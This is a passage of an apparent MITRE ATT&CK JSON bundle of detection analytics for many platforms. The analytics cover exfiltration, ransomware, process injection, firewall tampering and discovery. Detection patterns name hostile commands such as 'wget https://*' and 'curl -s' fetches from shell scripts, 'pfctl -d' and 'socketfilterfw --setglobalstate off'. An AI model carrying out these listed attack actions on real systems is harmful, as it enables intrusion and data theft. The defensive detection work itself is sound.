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                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "etw:Microsoft-Windows-Kernel-Process",
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                {
                    "field": "TransactionExecutableNamePattern",
                    "description": "Pattern of legitimate executables often used as doppelg\u00e4nging targets (e.g., svchost.exe, calc.exe)"
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                {
                    "field": "TimeWindow_TransactionToExecution",
                    "description": "Time delta between TxF rollback and thread creation in hollowed process"
                },
                {
                    "field": "ThreadStartEntropyThreshold",
                    "description": "Entropy level of thread start address in memory used to detect obfuscated shellcode"
                },
                {
                    "field": "TxF API Call Frequency Threshold",
                    "description": "Limit on CreateTransaction + RollbackTransaction sequences per process"
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            ],
            "x_mitre_deprecated": false
        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0131#AN0371",
                    "external_id": "AN0371"
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            "name": "Analytic 0371",
            "description": "Detects outbound traffic from hostd/vpxa or guest VM interfaces using unauthorized protocols such as FTP, HTTP POST bursts, or long-lived DNS tunnels.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "esxi:hostd",
                    "channel": "logline inspection"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "esxi:vmkernel",
                    "channel": "protocol egress"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "GuestTrafficBaseline",
                    "description": "Expected protocols used by VMs attached to host interfaces."
                },
                {
                    "field": "ServiceAccountProfile",
                    "description": "Unexpected network activity from hypervisor processes or monitoring agents."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--38205f16-18da-4d04-ae54-f5143b75c938",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0027#AN0078",
                    "external_id": "AN0078"
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            "name": "Analytic 0078",
            "description": "Detects HTTP or HTTPS communication initiated by shell-based scripts or management daemons, especially those reaching public IPs over ports 80/443 using embedded curl or wget.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "SPAN or port-mirrored HTTP/S"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "esxi:shell",
                    "channel": "/root/.ash_history or /etc/init.d/*"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ShellScriptMatch",
                    "description": "Match on commands like `wget https://*`, `curl -s`"
                },
                {
                    "field": "ExternalConnectionFilter",
                    "description": "Public IPs or external DNS hostnames"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--38252d77-0b46-4e00-8732-3ce1f8491472",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0341#AN0966",
                    "external_id": "AN0966"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0966",
            "description": "Detection of pbpaste/pbcopy clipboard access by processes without terminal sessions or linked to launch agents, potentially staged for collection.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ExecutionChainLength",
                    "description": "How many chained or embedded processes to track for correlation."
                },
                {
                    "field": "TerminalSession",
                    "description": "Whether the pbpaste/pbcopy action is tied to a user terminal."
                },
                {
                    "field": "BinaryPath",
                    "description": "Adjust if clipboard tooling is relocated (e.g., /opt/empyre/pbpaste)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--38300670-8c96-4f80-bc1b-d69242023a20",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0431#AN1203",
                    "external_id": "AN1203"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1203",
            "description": "Detects spoofed emails by analyzing mail server logs (e.g., Postfix, Sendmail) for mismatched header fields, failed SPF/DKIM checks, and anomalies in SMTP proxy logs. Defender observes discrepancies between sending domain, return-path domain, and message metadata.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "linux:syslog",
                    "channel": "SPF fail OR DKIM fail OR DMARC fail OR mismatched from_domain vs return_path_domain"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SenderDomainWhitelist",
                    "description": "Defines approved sender domains to suppress alerts for expected mismatches, reducing false positives."
                },
                {
                    "field": "TimeWindow",
                    "description": "Sets correlation period for repeated spoofing attempts to flag campaigns vs. isolated misconfigurations."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--383dda28-1d76-4605-a53d-07829f3d7ef8",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0573#AN1580",
                    "external_id": "AN1580"
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            "name": "Analytic 1580",
            "description": "Detects snapshot sharing, backup exports, or data object transfers from victim-owned cloud accounts to other cloud identities within the same provider (e.g., AWS, Azure) using snapshot sharing, S3 bucket policy updates, or SAS URI generation.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "IaaS"
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                    "name": "AWS:CloudTrail",
                    "channel": "ModifySnapshotAttribute"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--45977f14-1bcc-4ec4-ac14-a30fd3a11f44",
                    "name": "AWS:CloudTrail",
                    "channel": "PutBucketPolicy"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3da222e6-53f3-451c-a239-0b405c009432",
                    "name": "AWS:CloudTrail",
                    "channel": "CreateSnapshot"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--8bc66f94-54a9-4be4-bdd1-fe90df643774",
                    "name": "AWS:CloudTrail",
                    "channel": "CopySnapshot"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "AWS:VPCFlowLogs",
                    "channel": "High volume internal-to-internal IP transfer or cross-account cloud transfer"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CrossAccountIDList",
                    "description": "List of external cloud accounts authorized for snapshot or bucket sharing"
                },
                {
                    "field": "Region",
                    "description": "Geographic region in which the sharing occurs (may impact logging availability)"
                },
                {
                    "field": "VolumeSizeThresholdGB",
                    "description": "Threshold to alert on snapshot size or object volume"
                },
                {
                    "field": "TimeWindow",
                    "description": "Temporal window between snapshot creation and external sharing"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0145#AN0408",
                    "external_id": "AN0408"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0408",
            "description": "Detection of PF firewall rule modifications via pfctl, socketfilterfw, or defaults write to com.apple.alf. Adversaries often disable firewall profiles entirely or whitelist malicious processes.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "pfctl -d, socketfilterfw --setglobalstate off, or modifications to com.apple.alf"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "PFConfigFiles",
                    "description": "Monitor for baseline pf.conf and custom rule file modifications."
                }
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            "name": "Analytic 0049",
            "description": "Adversary runs discovery commands such as `ps aux`, `systemctl status`, or `cat /etc/init.d/` to enumerate security software or services. Often occurs alongside privilege escalation or bash script execution.",
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                "enterprise-attack"
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                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "field": "ExecutableName",
                    "description": "Adjust for custom script names or wrappers used in the environment"
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                    "field": "TimeWindow",
                    "description": "Tuning threshold for multiple enumeration commands within short duration"
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            "description": "Detection of adversary attempts to enumerate containers, pods, nodes, and related resources within containerized environments. Defenders may observe anomalous API calls to Docker or Kubernetes (e.g., 'docker ps', 'kubectl get pods', 'kubectl get nodes'), unusual account activity against the Kubernetes dashboard, or unexpected queries against container metadata endpoints. These events should be correlated with user context and network activity to reveal resource discovery attempts.",
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                "Containers"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--07688e40-a7fa-4436-937f-1216674341a0",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--91b3ed33-d1b5-4c4b-a896-76c55eb3cfd8",
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                {
                    "field": "UserAllowList",
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                    "field": "TimeWindow",
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                    "field": "PodQueryThreshold",
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            "name": "Analytic 1002",
            "description": "Use of gsettings or direct Display Manager modifications to hide users from greeter login screen. Defender view: anomalous command execution modifying org.gnome.login-screen or other greeter configurations.",
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                "enterprise-attack"
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                    "field": "DisplayManagerScope",
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                    "description": "Apply threshold to detect high-entropy relocations (e.g., packed malware)"
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                {
                    "field": "ProcessScope",
                    "description": "Processes expected to load COR_PROFILER (e.g., Visual Studio) for baseline comparison."
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                {
                    "field": "ProfilerDllPaths",
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            "name": "Analytic 0477",
            "description": "Firmware image uploaded via TFTP/SCP or web interface followed by reboot or unexpected loss of connectivity.",
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                    "name": "NSM:Flow",
                    "channel": "large upload to firmware interface port or path"
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                    "name": "networkdevice:firmware",
                    "channel": "Firmware update initiated or bootloader tampering detected"
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                {
                    "field": "UploadSizeThreshold",
                    "description": "Size of firmware images varies by vendor"
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                {
                    "field": "RebootWindow",
                    "description": "Reboots outside of patch maintenance may be suspicious"
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            "name": "Analytic 0844",
            "description": "A source performs a closed-port sequence; the endpoint enables a PF/socketfilterfw rule or a background process binds a port; then a successful connection completes from the same source.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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                {
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                    "name": "NSM:Flow",
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                    "field": "DevMode",
                    "description": "Suppress expected PF testing on developer devices."
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            "description": "Detects SCCM, Intune, or remote push execution spawning scripts or binaries from SYSTEM context or unusual consoles (e.g., cmtrace.exe launching PowerShell or cmd.exe).",
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            "x_mitre_domains": [
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                    "channel": "EventCode=4688"
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                    "name": "WinEventLog:Application",
                    "channel": "SCCM, Intune logs"
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                    "description": "Allowlist of known SCCM-related binary spawners (e.g., 'CCMExec.exe')"
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                    "field": "UserContext",
                    "description": "Expected deployment activity from scheduled system accounts"
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                    "description": "Unusual deployment timing outside standard maintenance hours"
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            "name": "Analytic 0547",
            "description": "Detects modifications to authorization plugins responsible for MFA enforcement and correlates with suspicious login sessions missing MFA prompts.",
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                    "channel": "Login success without MFA step"
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            "name": "Analytic 1494",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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                {
                    "field": "TimeWindowBetweenMapAccessAndMemWrite",
                    "description": "Time span (e.g., <15s) between map read and memory write that may indicate enumeration-to-injection"
                },
                {
                    "field": "InvokerBinaryAllowlist",
                    "description": "Allowlist of processes allowed to access /proc/[pid]/mem (e.g., gdb, strace)"
                },
                {
                    "field": "FileWriteThreshold",
                    "description": "Alert if written bytes to /proc/[pid]/mem exceed a suspicious threshold (e.g., >4096 bytes)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--3a5eea3b-b447-47c5-832d-6ced137b1597",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1610"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1610",
            "description": "Abuse of JamPlus.exe to launch malicious payloads via crafted .jam files, resulting in abnormal process creation, command execution, or artifact generation outside of standard development workflows.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "Windows"
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                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1",
                    "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational",
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                },
                {
                    "field": "AllowedBuildHosts",
                    "description": "Known developer systems where JamPlus.exe usage is expected; alerts are raised if executed elsewhere."
                },
                {
                    "field": "SuspiciousChildList",
                    "description": "Child processes considered anomalous (e.g., PowerShell, cmd, wscript) when spawned by JamPlus.exe."
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                    "field": "RarePathRegex",
                    "description": "Regex patterns for non-standard or user-writable paths where JamPlus.exe drops artifacts."
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            "x_mitre_deprecated": false
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        {
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            "description": "Cause\u2192effect chain in CI/dev desktops: (1) user triggers container run/pull after opening a doc/link/script, (2) newly created image/container uses unexpected external registry or entrypoint, (3) container starts and immediately egresses to suspicious destinations.",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Containers"
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                    "name": "docker:events",
                    "channel": "created,started: new container from untrusted registry or unexpected entrypoint"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5fe82895-28e5-4aac-845e-dc886b63be2e",
                    "name": "docker:events",
                    "channel": "start"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "container egress to unknown IPs/domains"
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                    "description": "Approved registries/namespaces."
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                {
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                    "description": "Expected CMD/ENTRYPOINT for known images."
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                    "field": "TimeWindow",
                    "description": "Correlate user action \u2192 docker/podman run within 10 minutes."
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            "x_mitre_deprecated": false
        },
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            "id": "x-mitre-analytic--3ac58f14-32d6-4ce2-8aa7-e7c429dd6405",
            "created": "2025-10-21T15:10:28.402Z",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
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                    "channel": "EventCode=13, 14"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4672"
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                    "field": "TimeWindow",
                    "description": "Defines how long after the registry modification to correlate a suspicious process execution"
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                    "field": "UserContext",
                    "description": "Tune to ignore known admin or installer behavior in specific user profiles"
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                    "field": "SuspiciousHandlerPathRegex",
                    "description": "Pattern match for suspicious handler paths (e.g., powershell.exe, rundll32.exe)"
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            "name": "Analytic 0620",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
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                    "name": "auditd:SYSCALL",
                    "channel": "open"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "linux:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "auditd:SYSCALL",
                    "channel": "write"
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                    "field": "ExecutableName",
                    "description": "Capture binaries like arecord, parecord, or ffmpeg."
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                {
                    "field": "DevicePath",
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                },
                {
                    "field": "UserContext",
                    "description": "Whether the user has audio access rights or is running under elevated privileges."
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            ],
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        },
        {
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            "name": "Analytic 0938",
            "description": "Correlation of package install event with execution of postinstall scripts containing unknown binaries or abnormal CLI usage. Look for `/usr/sbin/installer` execution followed by child processes originating from postinstall script.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of /usr/sbin/installer spawning child process from within /private/tmp or package contents"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "macos:unifiedlog",
                    "channel": "Creation or modification of postinstall scripts within .pkg or .mpkg contents"
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                    "field": "ScriptLocation",
                    "description": "Path to postinstall script varies depending on .pkg packaging and user temp directories."
                },
                {
                    "field": "ParentProcessName",
                    "description": "Installers may vary (e.g., /usr/sbin/installer, Jamf, Munki)."
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            ],
            "x_mitre_deprecated": false
        },
        {
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            "id": "x-mitre-analytic--3ae99176-ce61-4598-834b-f48d13802dcb",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0020#AN0059",
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            "name": "Analytic 0059",
            "description": "Detects modification of shell startup/logout scripts such as ~/.bashrc, ~/.bash_profile, or /etc/profile, followed by anomalous process execution or network connections upon interactive or remote shell login.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
            ],
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                    "name": "auditd:SYSCALL",
                    "channel": "AUDIT_SYSCALL (open, write, rename, unlink)"
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                {
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                    "name": "auditd:EXECVE",
                    "channel": "execution of unexpected binaries during user shell startup"
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                {
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                    "name": "NSM:Flow",
                    "channel": "unexpected network activity initiated shortly after shell session starts"
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                    "description": "Defines how soon after shell startup process execution or network activity is considered suspicious."
                },
                {
                    "field": "TargetUser",
                    "description": "Limits detection to specific user accounts or roles such as root or service accounts."
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                {
                    "field": "FilePathRegex",
                    "description": "Defines what shell configuration paths are considered relevant (e.g., .bashrc, .bash_logout, etc.)"
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            ],
            "x_mitre_deprecated": false
        },
        {
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN0132"
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            "modified": "2025-10-21T15:10:28.402Z",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:purview",
                    "channel": "MailItemsAccessed, Search-Mailbox events"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "azure:signinlogs",
                    "channel": "Suspicious login to cloud mailbox system"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "m365:unified",
                    "channel": "Search-Mailbox, Get-MessageTrace, eDiscovery requests"
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            ],
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                {
                    "field": "MailAccessVolumeThreshold",
                    "description": "Number of emails accessed within time window to flag anomaly."
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                {
                    "field": "OAuthClientIDAllowList",
                    "description": "Allows tuning based on known app registrations."
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                {
                    "field": "KeywordSearchFrequency",
                    "description": "Flag high volumes of message searches using suspicious patterns."
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                {
                    "field": "LoginGeolocationVariance",
                    "description": "Trigger when IP geolocation varies significantly from user's historical profile."
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            "x_mitre_deprecated": false
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Linux"
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                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "InterpreterName",
                    "description": "Regex to identify which interpreters (bash, python, ruby) to monitor based on typical usage."
                },
                {
                    "field": "UserContext",
                    "description": "Scope to users or service accounts not expected to run interpreters interactively."
                },
                {
                    "field": "ExecutionChainLength",
                    "description": "Defines maximum process tree depth to correlate interpreter execution with its effects."
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            ],
            "x_mitre_deprecated": false
        },
        {
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0215#AN0604",
                    "external_id": "AN0604"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0604",
            "description": "Userland or kernel-level ransomware encrypting user files (Documents, Desktop) using `srm`, `gpg`, or compiled payloads. Often correlated with ransom note creation in multiple directories.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "macos:unifiedlog",
                    "channel": "file encrypted|new file with .encrypted extension|disk write burst"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "exec srm|exec openssl|exec gpg"
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            ],
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            "x_mitre_domains": [
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            "x_mitre_domains": [
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                {
                    "field": "UserContext",
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            "x_mitre_deprecated": false
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        {
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            "description": "Detects JavaScript execution through WSH (wscript.exe, cscript.exe) or HTA (mshta.exe), particularly when spawned from Office macros, web browsers, or abnormal user paths. Correlates script execution with outbound network activity or system modification.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
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                {
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                },
                {
                    "field": "ScriptPath",
                    "description": "Script loaded from %TEMP%, user download folder, or via UNC/web path."
                },
                {
                    "field": "TimeWindow",
                    "description": "Execution of JavaScript during non-business or patch windows."
                },
                {
                    "field": "UserContext",
                    "description": "Execution by accounts not typically authorized for scripting (e.g., non-admin users)."
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0876#AN2008",
                    "external_id": "AN2008"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 2008",
            "description": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\nMonitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985",
                    "name": "Persona",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "Network Traffic",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--4403499c-b81c-4d0e-896c-67178547ac18",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0834#AN1966",
                    "external_id": "AN1966"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1966",
            "description": "If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e",
                    "name": "Internet Scan",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--4412fb07-9a44-49de-80af-8746b0be3865",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0457#AN1254",
                    "external_id": "AN1254"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1254",
            "description": "Anomalous use of ICMP or UDP by non-network service processes for data exfiltration or remote control, especially if traffic bypasses proxy infrastructure or shows unusual flow patterns.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "ICMP/UDP traffic (Wireshark, Suricata, Zeek)"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ProcessContextAllowList",
                    "description": "Processes normally allowed to use ICMP/UDP (e.g., ping.exe, DNS resolver)."
                },
                {
                    "field": "ByteTransferAnomalyThreshold",
                    "description": "Suspicion if client sends much more data than it receives (e.g., >90%)."
                },
                {
                    "field": "ProtocolUsageBaseline",
                    "description": "Baseline which protocols are normal per host or segment (ICMP, UDP, etc.)."
                }
            ]
        },
        {
